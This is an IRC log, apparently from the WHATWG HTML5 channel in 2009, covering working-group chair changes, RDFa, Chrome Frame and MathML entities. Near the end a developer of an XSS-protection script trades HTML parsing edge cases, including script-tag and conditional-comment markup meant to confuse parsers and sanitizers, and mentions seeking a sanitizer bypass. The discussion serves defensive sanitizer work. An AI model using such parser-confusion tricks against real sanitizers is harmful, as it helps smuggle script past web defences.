Hixie, wait, you mean all subsequent test suites weren't 100% valid and based on clear conformance criteria in the specs via explicit links?

[16:26:05.0000] <Lachy>
yeah, I'm up for that!

[16:27:00.0000] <Lachy>
is there a place to do that nearby?

[16:27:01.0000] <Hixie>
tantek: the subsequent test suites have been as crap as they were before

[16:27:02.0000] <Hixie>
Lachy: dunno :-)

[16:27:03.0000] <Lachy>
well, I'm sure we could do something fun on Saturday.

[16:28:00.0000] <Hixie>
anyone up for a game of Twilight Imperium III?

[16:28:01.0000] <Hixie>
or BSG the board game?

[16:28:02.0000] <tantek>
/me would be up for some late night Settlers of Catan.

[16:28:03.0000] <TabAtkins>
I'm in for anything boardgamey.

[16:28:04.0000] <Lachy>
maybe. Never played it before, but we could do that one evening

[16:28:05.0000] <TabAtkins>
I am sorely starved for board games.

[16:29:00.0000] <TabAtkins>
especially delicious eurogames.

[16:29:01.0000] <Lachy>
I'm looking forward to playing Werewolf again

[16:29:02.0000] <TabAtkins>
Anyone got Steve Zilles's email?

[16:29:03.0000] <gsnedders>
/me wants to be there, now.

[16:29:04.0000] <gsnedders>
/me grumps

[16:29:05.0000] <beowulf>
catan++

[16:30:00.0000] <Hixie>
people still play settlers?

[16:30:01.0000] <Hixie>
wow

[16:30:02.0000] <TabAtkins>
Some of us have never played it, geez.

[16:30:03.0000] <TabAtkins>
/me has dumb friends.

[16:30:04.0000] <Lachy>
I've played it once

[16:30:05.0000] <tantek>
Hixie - it continues to get new users, just like HTML :)

[16:30:06.0000] <Hixie>
TabAtkins: you're not missing much :-P

[16:30:07.0000] <Hixie>
it's like the new Monopoly

[16:31:00.0000] <beowulf>
monopoly++

[16:31:01.0000] <Hixie>
played by the people who don't know board games :-)

[16:31:02.0000] <TabAtkins>
Monopoly--

[16:31:03.0000] <TabAtkins>
>_<

[16:31:04.0000] <Hixie>
monopoly is basically a less elaborate version of Killer Bunnies

[16:32:00.0000] <gsnedders>
/me heads off to sleep

[16:33:00.0000] <gsnedders>
(and probably read a bit more Edgar Allan Poe)

[16:33:01.0000] <TabAtkins>
So, Zilles.

[16:33:02.0000] <erlehmann>
TabAtkins, i would like to see a Wesnoth board game.

[16:33:03.0000] <TabAtkins>
erlehmann: Omg that would be nice

[16:34:00.0000] <beowulf>
i think my board game credentials were insulted somewhere there

[16:34:01.0000] <Hixie>
:-)

[16:34:02.0000] <Hixie>
is there a list anywhere of when the htmlwg chairmanships changed?

[16:34:03.0000] <TabAtkins>
The htmlwg list, presumably.

[16:47:00.0000] <Dashiva>
/me is trying to copy (clone) a DOM node into a MSXML document... and failing

[16:49:00.0000] <Hixie>
http://damowmow.com/playground/htmlwg/chart.html

[16:49:01.0000] <Hixie>
the three changes of chairs line up almost perfect to the three periods of volatility

[16:50:00.0000] <Hixie>
(i used the dates of the announcements; mike and maciej actually started taking chair responsibilities a few weeks before they were appointed

[16:50:01.0000] <Hixie>
which i guess is why their periods of volatility happen shortly before the line for their announcement)

[16:51:00.0000] <Hixie>
my conclusion: to make progress, we'll have to change chairs every few weeks

[16:52:00.0000] <TabAtkins>
Makes sense to me.

[16:52:01.0000] <Philip`>
Musical chairs!

[16:53:00.0000] <TabAtkins>
Now if only we can get them to *actually* sing.

[16:57:00.0000] <othermaciej>
I intend to cause more issues to be closed

[16:57:01.0000] <othermaciej>
we'll see if it works


2009-09-24
[17:07:00.0000] <TabAtkins>
All right, I'm out for the night.  Time to go home where we're currently suffering from Day 12 of no internet.

[17:07:01.0000] <tantek>
the changing of chairs appears to be more periodic than anything else, occurring every  7-8 months.

[17:08:00.0000] <Philip`>
Have there been more chair changes than there have been spec publications?

[17:40:00.0000] <othermaciej>
Philip`: I would guess no, because we published 3 drafts initially and at least one of those has been republished

[00:03:00.0000] <Tristan>
HTML5 is epic

[00:11:00.0000] <Hixie>
Tristan: glad you like it :-)

[00:11:01.0000] <Hixie>
othermaciej: what's the plan for PENDING REVIEW?

[00:11:02.0000] <Hixie>
othermaciej: should i treat that as closed?

[00:11:03.0000] <othermaciej>
Hixie: let me review the set of PENDING REVIEW issues

[00:12:00.0000] <Hixie>
just trying to work out if i should make the green lighter on the chart, to reduce the emphasis

[00:12:01.0000] <othermaciej>
yes, and I'll propose moving all of those to closed

[00:12:02.0000] <Hixie>
k

[00:12:03.0000] <othermaciej>
I suppose in theory future "pending review" issues could be less equivalent to CLOSED

[00:13:00.0000] <othermaciej>
technically we need them all to be CLOSED to get to LC, if we take the "zero open issues" thing seriously

[00:16:00.0000] <Hixie>
ok updated the chart correspondingly

[00:16:01.0000] <Hixie>
i like how you can tell things change each time the chairs change

[00:16:02.0000] <Hixie>
e.g. as mike came in, "RAISED" is used for the first time

[00:17:00.0000] <Hixie>
as you come in, the OPEN count drops like a cliff

[00:17:01.0000] <Hixie>
and when Sam came in, the open count goes up and down suddenly for a month

[00:18:00.0000] <othermaciej>
can you remind me of the URL?

[00:18:01.0000] <othermaciej>
I hope I can get the OPEN count to keep dropping

[00:18:02.0000] <Hixie>
http://damowmow.com/playground/htmlwg/chart.html

[00:21:00.0000] <othermaciej>
I don't see that much change in issue state around Sam becoming chair - I guess a little jagginess up and down just after

[00:21:01.0000] <Hixie>
yeah that's all

[00:32:00.0000] <othermaciej>
ok, I got rid of the 3 Pending Review where I was confident I could do so without further consultation

[00:33:00.0000] <othermaciej>
I'm confused by the chart

[00:33:01.0000] <othermaciej>
there are 2 issues in PENDING REVIEW state and just a little while ago there were 5

[00:33:02.0000] <othermaciej>
but the chart makes it look like there are 50

[00:33:03.0000] <othermaciej>
did you perhaps reverse the CLOSED and PENDING REVIEW counts?

[00:33:04.0000] <othermaciej>
Hixie: ^

[00:33:05.0000] <Hixie>
hm, maybe

[00:33:06.0000] <Hixie>
/me looks

[00:35:00.0000] <Hixie>
looks like i did, but i can't see why, since i take the states straight from the tracker

[00:35:01.0000] <Hixie>
oops

[00:35:02.0000] <Hixie>
i see what happened

[00:35:03.0000] <Hixie>
i sorted the fields in the header of the csv

[00:35:04.0000] <Hixie>
but didn't sort the fields of the data rows in the same way!

[00:36:00.0000] <Hixie>
/me regenerates the data

[00:36:01.0000] <othermaciej>
that explains a lot

[00:39:00.0000] <othermaciej>
when you remove Origin and split out predefined vocabularies that will let me close 2 more issues by consensus

[00:40:00.0000] <othermaciej>
if MikeSmith proposes H:TML for FPWD as non-normative that will let me close two others

[00:41:00.0000] <MikeSmith>
I will do that but not this week

[00:41:01.0000] <hsivonen>
Hixie: it would be interesting to rerun the script that shows who is responsible for the most email on the list by attracting replies

[00:41:02.0000] <othermaciej>
I'm just looking for issues that seem resolvable without major wrangling

[00:41:03.0000] <MikeSmith>
(I was basically off this week for Monday through Wednesday due to the so-called Silver Week holidays here in Japan)

[00:42:00.0000] <othermaciej>
yeah no prob

[00:43:00.0000] <othermaciej>
it would be nice to get under 20 OPEN+RAISED

[00:43:01.0000] <othermaciej>
from Hixie's chart it looks like we were very briefly right at 20 for that total

[00:49:00.0000] <Hixie>
ok finished tweaking the chart

[00:49:01.0000] <Hixie>
to have pretty colours

[00:53:00.0000] <Mrmil>
/me would like to see the chart. He likes pretty colours. :)

[00:55:00.0000] <Hixie>
Mrmil: http://damowmow.com/playground/htmlwg/chart.html

[00:55:01.0000] <hsivonen>
sigh. http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Sep/0281.html

[00:56:00.0000] <jgraham>
Mrmil: In this case it will only be pleasing if the particular colours you like are green

[00:57:00.0000] <Mrmil>
:) I have troubles seeing the very light green. Talk about tilting someones head. Otherwise pretty cool

[00:57:01.0000] <jgraham>
Speaking of pretty colours though wtf were they thinking at Yahoo when they added the ugly, wavy, serif, *purple* yahoo logo to the clean, san serif, pink and blue flickr logo?

[00:58:00.0000] <MikeSmith>
hsivonen: I noticed that one too. Isn't that actually an XML spec violation. or at least I'd think that expecting that all UAs are going to behave that way is perhaps not too prudent

[00:59:00.0000] <Mrmil>
/me wonders if Hixie could make a <canvas> tut out of it...

[01:00:00.0000] <Hixie>
the lightest colour is meant to be more or less invisible

[01:01:00.0000] <MikeSmith>
light colors in general don't show up so well on my Apple MikeBook

[01:01:01.0000] <MikeSmith>
I tried doing the gamma-adjustment thing but it doesn't seem to help much

[01:02:00.0000] <MikeSmith>
or maybe it's a feature that I'm meant to appreciate (the fact that the saturation of the colors changes drastically depending on the angle at which I view the screen)

[01:03:00.0000] <hsivonen>
MikeSmith: DOM Level 2 represents namespace information items as attributes in a magic namespace. the DOM is semi-bogus in terms of the infoset but at least this part is coherent

[01:04:00.0000] <MikeSmith>
OK

[01:04:01.0000] <hsivonen>
coerent but evidently highly unintuitive

[01:04:02.0000] <hsivonen>
*coherent

[01:04:03.0000] <othermaciej>
hsivonen: *sigh* because of the DOM Level 1-ness?

[01:05:00.0000] <hsivonen>
othermaciej: sigh because of "surprise" and completely missing the point

[01:05:01.0000] <hsivonen>
http://intertwingly.net/blog/2009/09/22/Chromie is awesomeness

[01:05:02.0000] <othermaciej>
And the follow-up

[01:06:00.0000] <othermaciej>
hsivonen: it's kind of funny that his implementation was designed to work in HTML rather than XHTML when the spec covers the latter but not the former

[01:06:01.0000] <hsivonen>
othermaciej: and Level 1-ness also

[01:07:00.0000] <hsivonen>
othermaciej: no so funny if one wants proper specs for the platform

[01:09:00.0000] <othermaciej>
hsivonen: changing the subject a few degrees - assuming it's intended to capture both real XML namespace declarations, and attributes in HTML that look like them, should the processing requirements say to consider any attribute whose tagName starts with "xmlns:", or separately attributes in the xmlns namespace and attributes in the null namespace whose localNames start with "xmlns:"?

[01:09:01.0000] <othermaciej>
hsivonen: and should both be allowed in both syntaxes?

[01:10:00.0000] <hsivonen>
othermaciej: I think dispatching on nodeName is achitecturally unsound

[01:11:00.0000] <othermaciej>
I'm not sure if it's practically different from the two-pronged test

[01:11:01.0000] <hsivonen>
othermaciej: I don't want to go there, but maybe the spec needs to go there to paper over the damage

[01:11:02.0000] <othermaciej>
is it possible to get an attribute whose nodeName starts with "xmlns:" without it being in either the null namespace or the xmlns namespace?

[01:12:00.0000] <Hixie>
i can't believe y'all are spending so much time on something as fundamentally broken as rdfa

[01:12:01.0000] <hsivonen>
othermaciej: not AFAICT

[01:13:00.0000] <othermaciej>
so either way of saying it would be equivalent in practice, though perhaps the two-pronged version seems architecturally cleaner

[01:13:01.0000] <othermaciej>
Hixie: my thinking on RDFa is that it's less damaging to spec it soundly and unambiguously (including use in text/html) than to not spec it

[01:14:00.0000] <othermaciej>
not because I think it's awesome but because failing to spec it will just create more interop failure

[01:14:01.0000] <hsivonen>
Hixie: my interest is damage mitigation to parts of the stack I work on

[01:14:02.0000] <othermaciej>
otoh maybe the process of specing it will result in some enhancements that make it easier to use right

[01:15:00.0000] <jgraham>
Hixie: I am strongly reminded of the Sirius Cybernetics Corporation: "[o]ne is blinded to the fundamental uselessness of their products by the sense of achievement one feels in getting them to work at all. In other words, their fundamental design flaws are completely hidden by their superficial design flaws."

[01:16:00.0000] <othermaciej>
that being said, it seems funny that people who don't like RDFa at a design level are much more interested in having a really precise spec for it than people who do like it

[01:19:00.0000] <zcorpan>
hsivonen: i guess it shows Ben's level of experience with XHTML and the DOM

[01:20:00.0000] <Hixie>
it's more that the time you're spending on this feature is time not spent on many much more important features that much more desperately need speccing

[01:20:01.0000] <Hixie>
like, DOM Core

[01:20:02.0000] <Hixie>
user interaction events like 'click'

[01:20:03.0000] <Hixie>
even DOM Traversal and DOM Range would be more important than RDFa

[01:20:04.0000] <erlehmann>
Hixie, about the metadata issue. when do you think will this part of the spec have a chance of becoming stable ?

[01:20:05.0000] <Hixie>
erlehmann: hm?

[01:21:00.0000] <othermaciej>
I don't think I can help DOM Core without a competent person stepping up to be editor

[01:21:01.0000] <othermaciej>
but I can probably help File API

[01:21:02.0000] <othermaciej>
planning to go over it with weinig and/or ap soon

[01:22:00.0000] <erlehmann>
Hixie, well, when i built something with microdata and the spec changed, i raged a little for being so careless and not asking if this feature is intended to be stable.

[01:22:01.0000] <erlehmann>
so i guess i should use RDFa for now, till HTML5 gets its way

[01:23:00.0000] <Hixie>
erlehmann: oh you mean microdata?

[01:24:00.0000] <Hixie>
erlehmann: we're doing studies for microdata in the coming days, the spec should be done in a few weeks

[01:24:01.0000] <erlehmann>
oh nice :)

[01:25:00.0000] <zcorpan>
i wonder if chrome frame looks at the x-ua-compatible http header

[01:26:00.0000] <erlehmann>
zcorpan, i wonder why chrome frame doesn't actually trigger when IE is in „standards“ mode.

[01:26:01.0000] <zcorpan>
erlehmann: that'd break sites

[01:27:00.0000] <zcorpan>
well, to the same extent they break in chrome, i guess, but surely that's enough for people to uninstall the plugin

[01:27:01.0000] <erlehmann>
zcorpan, really ? wouldnt IE-broken sites trigger quirks mode anyway ?

[01:27:02.0000] <zcorpan>
erlehmann: uh, no

[01:28:00.0000] <erlehmann>
zcorpan, so what kind of breakage are you referring to ? i must admit i have not touched internet explorer for more than a year, except to make test screenshots of CSS layouts (does everything look alright ? hell, no.).

[01:29:00.0000] <zcorpan>
well, imagine a bank that uses an xhtml doctype and requires activex to log in

[01:30:00.0000] <erlehmann>
doesn't chrome come with an activeX shim plugin, like mozilla browsers do on windows ?

[01:30:01.0000] <zcorpan>
dunno

[01:31:00.0000] <zcorpan>
does firefox have an activex shim by default?

[01:31:01.0000] <hsivonen>
zcorpan: not by default afaik

[01:32:00.0000] <zcorpan>
ok

[01:32:01.0000] <hsivonen>
zcorpan: that wouldn't promote freedom and choice of OS on the Internet

[01:32:02.0000] <zcorpan>
indeed

[01:33:00.0000] <erlehmann>
wise words, hsivonen, wise words.

[01:33:01.0000] <zcorpan>
i wonder, will chrome frame be able to run in chrome's quirks mode?

[01:35:00.0000] <zcorpan>
/me notes that http://ben.adida.net/index.xhtml has its style sheet commented out

[01:36:00.0000] <zcorpan>
Hixie: maybe we should change <style>'s and <script>'s processing model to also look at comment nodes, not just text nodes

[01:36:01.0000] <Hixie>
why would we do that

[01:36:02.0000] <Philip`>
Just tell people not to use comments in style/script

[01:36:03.0000] <hsivonen>
zcorpan: XML processors are permitted to discard comments

[01:37:00.0000] <zcorpan>
hsivonen: hmm, good point

[01:37:01.0000] <Philip`>
and if they still want Netscape 2 compatibility then they shouldn't be using XHTML

[01:37:02.0000] <zcorpan>
Hixie: to ease migration to xhtml

[01:37:03.0000] <Hixie>
comments are comments

[01:37:04.0000] <Hixie>
we're not going to execute script in comments

[01:37:05.0000] <Hixie>
that's a security nightmare waiting to happen

[01:49:00.0000] <Hixie>
ok last chance for people to comment on the microdata study materials http://damowmow.com/playground/microdata/

[02:04:00.0000] <zcorpan>
/me looks

[02:06:00.0000] <zcorpan>
Hixie: you're not going to do usability study on reversed dns identifiers?

[02:06:01.0000] <Hixie>
no

[02:06:02.0000] <Hixie>
not sure how we would do that

[02:32:00.0000] <Philip`>
"the time you're spending on this feature is time not spent on many much more important features that much more desperately need speccing, like, DOM Core, user interaction events like 'click'" - those would require us to do all the work, whereas with RDFa the RDFa people can do most of the work and just need to be guided in the direction that we want

[02:35:00.0000] <Philip`>
http://groups.google.com/group/google-chrome-frame/msg/c9fd31929ff7d7fc - "we aren't supporting the HTTP header (although we do support a separate MIME type, application/chromeframe)"

[02:35:01.0000] <Hixie>
sending e-mails is free?

[02:38:00.0000] <Philip`>
No, but the effect can be much greater than the effort put into writing it

[02:40:00.0000] <zcorpan>
Philip`: ouch, separate mime type?

[02:40:01.0000] <jgraham>
?!?

[02:41:00.0000] <Philip`>
Seems perfectly sensible given that MIME types are designed to identify the client, not the content

[02:41:01.0000] <Philip`>
(by which I mean the exact opposite)

[02:41:02.0000] <zcorpan>
what is the chrome team smoking?

[02:42:00.0000] <zcorpan>
is there a heading sent with the request to tell the server that the plugin is available?

[02:43:00.0000] <Philip`>
I think someone said it adds "chromeframe" to the UA string

[02:44:00.0000] <Philip`>
(Maybe the MIME type is just an implementation detail of how they make IE re-render the page using the new engine, or something, and not intended to be used externally)

[02:45:00.0000] <zcorpan>
at some point we should do a crawl with the chromeframe UA string to see how many return application/chromeframe

[02:51:00.0000] <Philip`>
http://wave.google.com/ - <meta name="keywords” content=”online collaboration, online communication, collaborative editing, web application, photo sharing,developer preview" /> - hooray for curly quotes

[02:52:00.0000] <Philip`>
(They don't even make the page invalid)

[02:53:00.0000] <Philip`>
(Actually I suppose they do in HTML5 because the keyword won't be recognised)

[02:53:01.0000] <Philip`>
(...and because there's no content attribute)

[02:54:00.0000] <Philip`>
(So, okay, they do make the page invalid)

[02:55:00.0000] <hsivonen>
/me foresees trouble with the chrome frame MIME type

[02:56:00.0000] <hsivonen>
in other news, I got a split parser Gecko finally show me some content

[02:57:00.0000] <zcorpan>
hmm, two new entities

[02:57:01.0000] <zcorpan>
+     <tr> <td> <code title="">bsolhsub;</code> </td> <td> U+027C8 </td> </tr>

[02:57:02.0000] <zcorpan>
+     <tr> <td> <code title="">suphsol;</code> </td> <td> U+027C9 </td> </tr>

[02:57:03.0000] <hsivonen>
sigh. the dual parser core stuff still isn't right, though

[02:58:00.0000] <hsivonen>
zcorpan: did the Math WG just mint those?

[02:58:01.0000] <zcorpan>
dunno

[02:58:02.0000] <jgraham>
/me wonders what those represent

[02:58:03.0000] <jgraham>
Because they look more like fortran 77 variable names than anything

[02:59:00.0000] <zcorpan>
i wonder why mathml has all these entities at all

[02:59:01.0000] <jgraham>
zcorpan: It's nice for hand authouring, like LaTeX.

[02:59:02.0000] <zcorpan>
mathml is not nice for hand authoring

[02:59:03.0000] <jgraham>
Of course the rest of MathML sucks for hand authoring

[03:07:00.0000] <erlehmann>
SEE WHAT MATHML DOES TO IRC ?

[03:12:00.0000] <zcorpan>
erlehmann: shh, don't mention its name

[03:13:00.0000] <erlehmann>
zcorpan, but you were AWAY

[03:14:00.0000] <zcorpan>
each entity causes 3 users to disconnect

[03:16:00.0000] <jgraham>
U+27C8 Reverse Solidus Preceding Subset

[03:16:01.0000] <jgraham>
U+27C9 Superset Preceding Solidus

[03:19:00.0000] <sirdarckcat>
Hello! is there anybody alive?

[03:19:01.0000] <Hixie>
i'm alive!

[03:20:00.0000] <jgraham>
Everyone's dead Dave

[03:20:01.0000] <sirdarckcat>
hey :), could you give me suggestions about a security program Im making in javascript.. part of it is to parse HTML, and I have some doubts

[03:21:00.0000] <sirdarckcat>
this case: <script>x='<a href="</script>">';</script>

[03:21:01.0000] <sirdarckcat>
should I make an exception for certain tags?

[03:21:02.0000] <sirdarckcat>
or whats the deal with <script>

[03:22:00.0000] <zcorpan>
sirdarckcat: what are you trying to do?

[03:22:01.0000] <sirdarckcat>
do you know CSP?

[03:23:00.0000] <sirdarckcat>
Im trying to implement something similar to CSP, but as a javascript script

[03:23:01.0000] <sirdarckcat>
apparently, it is possible...

[03:23:02.0000] <sirdarckcat>
but the HTML parser and CSS parsers are a headache

[03:23:03.0000] <sirdarckcat>
even JS is easier

[03:24:00.0000] <zcorpan>
/me doesn't know what CSP is

[03:24:01.0000] <sirdarckcat>
this is my simple HTML parser example: http://eaea.sirdarckcat.net/testhtml.html it removes some dangerous elements

[03:24:02.0000] <sirdarckcat>
Mozilla CSP - Content Security Policy

[03:24:03.0000] <zcorpan>
ah

[03:24:04.0000] <sirdarckcat>
https://wiki.mozilla.org/Security/CSP

[03:25:00.0000] <sirdarckcat>
My approach is something like.....

[03:25:01.0000] <zcorpan>
i guess you need to have an html5 parser and a sanitizer

[03:25:02.0000] <sirdarckcat>
<html><head><script src="/acs.js">/*your-policy-here*/</script>... the rest of the html code ...

[03:26:00.0000] <sirdarckcat>
well... Im targetting at quirks mode first

[03:26:01.0000] <sirdarckcat>
but yeah

[03:26:02.0000] <zcorpan>
quirks mode only affects <p><table> parsing

[03:26:03.0000] <sirdarckcat>
oh, then.. not-standards-compilant-html-parsers

[03:27:00.0000] <sirdarckcat>
everything is pretty easy I think, except stuff like what to do with unclosed comments, with unclosed tags, wich characters should close an HTML tag before an >, etc..

[03:28:00.0000] <Philip`>
So everything's pretty easy except for all the hard parts (which HTML5 defines)? :-)

[03:28:01.0000] <sirdarckcat>
yep

[03:28:02.0000] <sirdarckcat>
haha

[03:28:03.0000] <zcorpan>
<script>x='<a href="</script>">';</script> results in a script containing "x='<a href="" followed by the text "">';" and the straw </script> tag is dropped

[03:28:04.0000] <sirdarckcat>
zcorpan, yeah.. but hmm which tags behave like this?

[03:29:00.0000] <sirdarckcat>
only script and style?

[03:29:01.0000] <zcorpan>
script and style are RAWTEXT elements

[03:29:02.0000] <zcorpan>
um

[03:29:03.0000] <zcorpan>
and xmp

[03:29:04.0000] <sirdarckcat>
oh

[03:29:05.0000] <zcorpan>
and probably more i'm forgetting

[03:29:06.0000] <zcorpan>
you should really use an html5 parser :)

[03:30:00.0000] <zcorpan>
v.nu is available in javascript

[03:30:01.0000] <zcorpan>
the parser, that is

[03:30:02.0000] <sirdarckcat>
well, yeah I will use an html5 parser, but.. I dont want to break existing websites.. I  know one of the aims of html5 is this but...

[03:30:03.0000] <sirdarckcat>
so I will allow the developer to choose

[03:31:00.0000] <sirdarckcat>
the html5 parser, or the paranoic parser

[03:31:01.0000] <sirdarckcat>
mine is paranoic

[03:31:02.0000] <zcorpan>
i think chances are the paranoic parser is more likely to break existing websites :P

[03:32:00.0000] <sirdarckcat>
mmm why?

[03:32:01.0000] <jgraham>
sirdarckcat: What makes you think that your parser works better than a HTML5 parser

[03:32:02.0000] <jgraham>
?

[03:32:03.0000] <sirdarckcat>
well, its not that it works better.. is that its made specially for the project Im doing hehe

[03:32:04.0000] <zcorpan>
because it's nontrivial to get all the details right and existing content depends on getting all the details right

[03:32:05.0000] <sirdarckcat>
well, the purpose of the project is to protect against web-based threads

[03:33:00.0000] <erlehmann>
sirdarckcat why is that so?

[03:33:01.0000] <sirdarckcat>
so I made several decisions based on that objective

[03:33:02.0000] <zcorpan>
web-based threads?

[03:33:03.0000] <sirdarckcat>
welll.. mostly xss

[03:33:04.0000] <Philip`>
sirdarckcat: The security comes from the sanitiser and serialiser, not the parser

[03:33:05.0000] <Philip`>
so the parser might as well be optimised for compatibility instead

[03:33:06.0000] <zcorpan>
ah, threats

[03:34:00.0000] <sirdarckcat>
yeah threats sorry haha, philip: well.. yes and no

[03:34:01.0000] <jgraham>
Didn't you know that the web is actually woven from fine thread?

[03:34:02.0000] <zcorpan>
jgraham: true

[03:35:00.0000] <sirdarckcat>
the differences I have are cases like: <a x"href="....

[03:35:01.0000] <zcorpan>
what about <a x"href="?

[03:35:02.0000] <sirdarckcat>
and hmm, maybe how to behave where there's an unclosed <

[03:36:00.0000] <erlehmann>
sirdarckcat, your toy breaks my javascript trickery

[03:36:01.0000] <erlehmann>
is it intended that it kills stylesheet and ALL scripts as well ?

[03:36:02.0000] <sirdarckcat>
and stuff, I dont agree with html5.. haha since as an attacker I see that other approaches are safer (even if not so compatible)

[03:36:03.0000] <jgraham>
sirdarckcat: I don't understand waht you are saying

[03:36:04.0000] <sirdarckcat>
@erlehmann -> I disable them for the moment I can disable that if you want

[03:36:05.0000] <erlehmann>
sirdarckcat, i dont quite get what you are doing.

[03:37:00.0000] <erlehmann>
making pages safer by WHAT ?

[03:37:01.0000] <sirdarckcat>
basically, its a js-implementation of Mozilla CSP

[03:38:00.0000] <Hixie>
all in favour of me renaming "onseeked" to the more technically correct "onsought"?

[03:38:01.0000] <zcorpan>
Hixie: no

[03:38:02.0000] <jgraham>
Hixie: Seriously?

[03:38:03.0000] <hsivonen>
Hixie: have implementations shipped?

[03:38:04.0000] <Philip`>
I don't think I've ever heard the term "sought" used in the context of media seeking

[03:39:00.0000] <zcorpan>
sought is like spelling language

[03:39:01.0000] <zcorpan>
plus, onseeked is implemented already

[03:39:02.0000] <hsivonen>
I think we have a new Referer here

[03:39:03.0000] <jgraham>
sirdarckcat: We made a sanitizer on top of html5lib that passes these tests: http://code.google.com/p/html5lib/source/browse/testdata/sanitizer/tests1.dat

[03:40:00.0000] <Hixie>
/me informs his partner that he will be sticking with "seeked", english be damned

[03:40:01.0000] <jgraham>
(and some more actually)

[03:40:02.0000] <Hixie>
(carey is an english major, so apparently this is irksome)

[03:40:03.0000] <zcorpan>
hsivonen: firefox 3.5 fires 'seeked' events

[03:41:00.0000] <hsivonen>
zcorpan: OK. then no, it's not a good idea to rename the event

[03:41:01.0000] <erlehmann>
good that i only use timeupdate

[03:41:02.0000] <jgraham>
onsought sounds wrong to me anyway

[03:41:03.0000] <erlehmann>
maybe you should let this carey approve your commits as well, Hixie

[03:42:00.0000] <erlehmann>
;)

[03:42:01.0000] <Hixie>
i didn't seriously consider renaming the event

[03:42:02.0000] <Hixie>
though having onsought would be pretty hilarious

[03:42:03.0000] <erlehmann>
onslaught !

[03:42:04.0000] <sirdarckcat>
@jgraham how do I test the sanitizer?

[03:42:05.0000] <zcorpan>
erlehmann: that's what i was going to say

[03:43:00.0000] <erlehmann>
zcorpan, thats what your mom said ^^

[03:43:01.0000] <jgraham>
sirdarckcat: clone the html5lib hg repository. Go to python/tests/ and run python test_sanitizer.py

[03:44:00.0000] <sirdarckcat>
thanks :)

[03:44:01.0000] <erlehmann>
jgraham, did you just utterly destroy everything sirdarckcat worked so hard for ?

[03:45:00.0000] <sirdarckcat>
haha well I dont think so, I want to find a bypass to the sanitizer

[03:45:01.0000] <sirdarckcat>
I will stick with the parser

[03:46:00.0000] <sirdarckcat>
for example, apparently IE conditional comments are deleted by the sanitizer.. 

[03:46:01.0000] <sirdarckcat>
and IE's conditoonal comments suck... <!--[if true]><img src="-->" alt="<![endif]>">

[03:48:00.0000] <zcorpan>
how does ie tokenize conditional comments?

[03:49:00.0000] <sirdarckcat>
in that case, thats an image

[03:49:01.0000] <sirdarckcat>
oops

[03:49:02.0000] <sirdarckcat>
wait

[03:49:03.0000] <sirdarckcat>
 <!--[if true]><img src="-->" alt=""><![endif]>

[03:49:04.0000] <sirdarckcat>
should be like that haha

[03:50:00.0000] <sirdarckcat>
and ie allows nested comments

[03:50:01.0000] <sirdarckcat>
 <!--[if true]> <!--[if true]>1 <![endif]-->2 <![endif]-->3

[03:51:00.0000] <sirdarckcat>
and I want to support that :S, but iirc html5 is not compatible with IE weirdness (anyway, I dissagree with ie's parsing rules, I want to support them)

[03:52:00.0000] <zcorpan>
what do you mean by support?

[03:52:01.0000] <zcorpan>
wouldn't you just want to emit what other browsers would treat it as, i.e. "23"?

[03:52:02.0000] <zcorpan>
uh

[03:52:03.0000] <zcorpan>
"2 3"

[03:52:04.0000] <sirdarckcat>
well... parse what is inside the comment as IE would (or the best I can at least)

[03:53:00.0000] <zcorpan>
which version of ie?

[03:53:01.0000] <sirdarckcat>
all versions

[03:53:02.0000] <zcorpan>
they're all different

[03:53:03.0000] <sirdarckcat>
I mean, all support this comment stuff

[03:54:00.0000] <zcorpan>
so what would you do with <!--[if IE 7]>x<![endif]--> ?

[03:54:01.0000] <sirdarckcat>
@zcorpan, I want to make a parser that will show 1 2 3 on IE and 2 3 on other browsers

[03:54:02.0000] <roc>
"DrWatson Postmortem Debugger has encountered a problem and needs to close. We are sorry for the inconvenience." sigh

[03:55:00.0000] <sirdarckcat>
@zcorpan, I generate an HTML comment with the content:  [if IE 7]>x<![endif]

[03:55:01.0000] <sirdarckcat>
thats easy

[03:55:02.0000] <sirdarckcat>
this is not easy:  <!--[if IE 7]><img src="<![endif]-->"><![endif]-->

[03:55:03.0000] <sirdarckcat>
:(

[03:56:00.0000] <zcorpan>
i thought you wanted to show the x if the browser is ie7

[03:56:01.0000] <sirdarckcat>
anyway.. those are some of the diffs between html5 and my parser, the comments-inside-attribute-names are other diffs

[03:56:02.0000] <sirdarckcat>
@zcorpan IE will do that

[03:56:03.0000] <zcorpan>
oh so you serialize and let the browser reparse

[03:56:04.0000] <sirdarckcat>
I do... document.write(safeCode.innerHTML);

[03:56:05.0000] <zcorpan>
ah

[03:56:06.0000] <sirdarckcat>
yep

[03:56:07.0000] <sirdarckcat>
:)

[03:57:00.0000] <sirdarckcat>
anyway, I really hate IE and Opera

[03:57:01.0000] <sirdarckcat>
they do it wrong

[03:57:02.0000] <sirdarckcat>
anyway...

[03:57:03.0000] <zcorpan>
what about <![if !IE]>x<![endif]>

[03:57:04.0000] <sirdarckcat>
that's left the same

[03:57:05.0000] <sirdarckcat>
I create an element <![if IE]>

[03:57:06.0000] <sirdarckcat>
only IE supports doing that

[03:57:07.0000] <sirdarckcat>
but, thats ok

[03:58:00.0000] <sirdarckcat>
only IE supports conditional comments anyway

[03:58:01.0000] <zcorpan>
what will happen in other browsers?

[03:58:02.0000] <sirdarckcat>
I ignore it

[03:58:03.0000] <zcorpan>
ok

[03:59:00.0000] <sirdarckcat>
anyway.. the way Im parsing the HTML code is not compatible with the rawtext elements :(

[03:59:01.0000] <sirdarckcat>
so I was wondering, if there are other cases I may be missing

[04:01:00.0000] <zcorpan>
"The following HTML elements have varying levels of special parsing rules: address, area, article, aside, base, basefont, bgsound, blockquote, body, br, center, col, colgroup, command, datagrid, dc, dd, details, dir, div, dl, ds, dt, embed, fieldset, figure, footer, form, frame, frameset, h1, h2, h3, h4, h5, h6, head, header, hgroup, hr, iframe, img, input, isindex, li, link, listing, menu, meta, nav, noembed, noframes, noscript, ol, p,

[04:01:01.0000] <zcorpan>
plaintext, pre, script, section, select, spacer, style, tbody, textarea, tfoot, thead, title, tr, ul, wbr, and xmp."

[04:02:00.0000] <sirdarckcat>
wow

[04:02:01.0000] <sirdarckcat>
haha

[04:02:02.0000] <zcorpan>
and then there's scoping elements and formatting elements

[04:03:00.0000] <zcorpan>
read the spec :)

[04:03:01.0000] <sirdarckcat>
hmm, I have (sort of.. not all hehe)

[04:03:02.0000] <zcorpan>
have you read section 9.2?

[04:05:00.0000] <sirdarckcat>
